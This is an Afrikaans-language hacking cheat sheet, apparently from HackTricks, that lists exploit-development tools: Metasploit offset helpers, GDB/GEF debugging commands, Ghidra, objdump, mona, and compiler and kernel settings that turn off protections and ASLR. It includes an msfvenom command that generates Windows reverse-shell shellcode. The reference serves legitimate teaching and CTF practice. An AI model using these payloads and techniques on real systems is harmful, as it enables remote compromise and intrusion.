# Exploitering Gereedskap {{#include ../../../banners/hacktricks-training.md}} ## Metasploit ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Shellcodes ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` ## GDB ### Installeer ```bash apt-get install gdb ``` ### Parameters ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` ### Instruksies ```bash run # Execute start # Start and break in main n/next/ni # Execute next instruction (no inside) s/step/si # Execute next instruction c/continue # Continue until next breakpoint p system # Find the address of the system function set $eip = 0x12345678 # Change value of $eip help # Get help quit # exit # Disassemble disassemble main # Disassemble the function called main disassemble 0x12345678 # Disassemble taht address set disassembly-flavor intel # Use intel syntax set follow-fork-mode child/parent # Follow child/parent process # Breakpoints br func # Add breakpoint to function br *func+23 br *0x12345678 del # Delete that number of breakpoint watch EXPRESSION # Break if the value changes # info info functions --> Info abount functions info functions func --> Info of the funtion info registers --> Value of the registers bt # Backtrace Stack bt full # Detailed stack print variable print 0x87654321 - 0x12345678 # Caculate # x/examine examine/ dir_mem/reg/puntero # Shows content of in where each entry is a x/o 0xDir_hex x/2x $eip # 2Words from EIP x/2x $eip -4 # $eip - 4 x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) i r eip # Value of $eip x/w pointer # Value of the pointer x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) Jy kan opsioneel [**hierdie fork van GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat. ```bash help memory # Get help on memory command canary # Search for canary value in memory checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings xinfo # Shows page, size, perms, memory area and offset of the addr in the page memory watch 0x784000 0x1000 byte #Add a view always showinf this memory got #Check got table memory watch $_got()+0x18 5 #Watch a part of the got table # Vulns detection format-string-helper #Detect insecure format strings heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Dump memory to file dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### Tricks #### GDB dieselfde adresse Terwyl jy debugg, sal GDB **liggies verskillende adresse hê as die wat deur die binêre gebruik word wanneer dit uitgevoer word.** Jy kan GDB dieselfde adresse laat hê deur: - `unset env LINES` - `unset env COLUMNS` - `set env _=` _Plaas die absolute pad na die binêre_ - Exploit die binêre met dieselfde absolute roete - `PWD` en `OLDPWD` moet dieselfde wees wanneer jy GDB gebruik en wanneer jy die binêre exploiteer #### Backtrace om funksies te vind wat aangeroep word Wanneer jy 'n **statically linked binary** het, sal al die funksies aan die binêre behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die **vloei wat die binêre volg om byvoorbeeld vir gebruikersinvoer te vra** te **identifiseer**.\ Jy kan hierdie vloei maklik identifiseer deur die binêre met **gdb** te **hardloop** totdat jy vir invoer gevra word. Stop dit dan met **CTRL+C** en gebruik die **`bt`** (**backtrace**) opdrag om die funksies wat aangeroep is te sien: ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### GDB bediener `gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux masjien invul en in die Windows masjien) ## Ghidra ### Vind stap offset **Ghidra** is baie nuttig om die **offset** vir 'n **buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\ Byvoorbeeld, in die voorbeeld hieronder dui 'n buffer vloei in `local_bc` aan dat jy 'n offset van `0xbc` nodig het. Boonop, as `local_10` 'n kanarie koekie is, dui dit aan dat om dit van `local_bc` te oorskryf daar 'n offset van `0xac` is.\ _Remember dat die eerste 0x08 van waar die RIP gestoor word aan die RBP behoort._ ![](<../../../images/image (1061).png>) ## qtool ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` Kry elke opcode wat in die program uitgevoer word. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compileer sonder beskermings\ **-o** --> Uitset\ **-g** --> Stoor kode (GDB sal dit kan sien)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Om die ASLR in linux te deaktiveer **Om 'n shellcode te compileer:**\ **nasm -f elf assembly.asm** --> gee 'n ".o" terug\ **ld assembly.o -o shellcodeout** --> Uitvoerbaar ## Objdump **-d** --> **Deassembleer uitvoerbare** afdelings (sien opcodes van 'n gecompileerde shellcode, vind ROP Gadgets, vind funksie adres...)\ **-Mintel** --> **Intel** sintaksis\ **-t** --> **Simbol** tabel\ **-D** --> **Deassembleer alles** (adres van statiese veranderlike)\ **-s -j .dtors** --> dtors afdeling\ **-s -j .got** --> got afdeling\ -D -s -j .plt --> **plt** afdeling **gedekompileer**\ **-TR** --> **Herverplasing**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\ **objdump -D ./exec | grep "VAR_NAME"** --> Adres of 'n statiese veranderlike (daardie word in DATA afdeling gestoor). ## Core dumps 1. Voer `ulimit -c unlimited` uit voordat ek my program begin 2. Voer `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` uit 3. sudo gdb --core=\ --quiet ## Meer **ldd uitvoerbaar | grep libc.so.6** --> Adres (as ASLR, dan verander dit elke keer)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Lus om te sien of die adres baie verander\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh" **strace uitvoerbaar** --> Funksies wat deur die uitvoerbare aangeroep word\ **rabin2 -i ejecutable -->** Adres van al die funksies ## **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` ## IDA ### Foutopsporing in afstand linux Binne die IDA-gids kan jy binaire lêers vind wat gebruik kan word om 'n binêre lêer binne 'n linux te foutopspoor. Om dit te doen, skuif die binêre `linux_server` of `linux_server64` binne die linux-bediener en voer dit uit binne die gids wat die binêre bevat: ``` ./linux_server64 -Ppass ``` Dan, konfigureer die debugger: Debugger (linux remote) --> Proccess opsies...: ![](<../../../images/image (858).png>) {{#include ../../../banners/hacktricks-training.md}}